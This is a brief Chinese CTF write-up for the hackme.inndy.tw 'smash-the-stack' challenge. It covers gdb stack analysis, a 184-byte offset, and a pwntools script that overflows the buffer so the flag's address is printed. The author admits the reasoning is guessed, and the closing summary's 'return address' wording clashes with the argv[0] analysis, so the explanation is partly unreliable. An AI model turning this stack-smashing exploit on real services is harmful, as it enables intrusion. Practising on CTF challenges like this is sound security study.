hackme.inndy.tw 中的smash-the-stack

gdb调试进入main函数,查看栈空间
发现('/hom')字符串应该就是该文件名,因此我估计是argv[0]的值,故栈中0xffffd114应该是argv[0]
而0xffffd05c估计是缓冲区地址,0xffffd114-0xffffd05c=B8=184
故覆盖184个字节
from pwn import *
cn = remote('hackme.inndy.tw',7717)
elf=ELF('smash-the-stack')
cn.recvuntil('Try to read the flag\n')
payload=p32(0)+'a'*184+p32(0x0804a060)#bss 也即flag的地址
#第一个参数是buf,用来设定buf的长度,可以设小一点
cn.send(payload)
cn.interactive()
以上分析是看了别人wirteup后猜测的,请各位高手指教!!!
通过gdb调试smash-the-stack程序,利用栈溢出覆盖返回地址,读取flag。构造payload发送到远程服务器,成功获取目标数据。
1364

被折叠的 条评论
为什么被折叠?



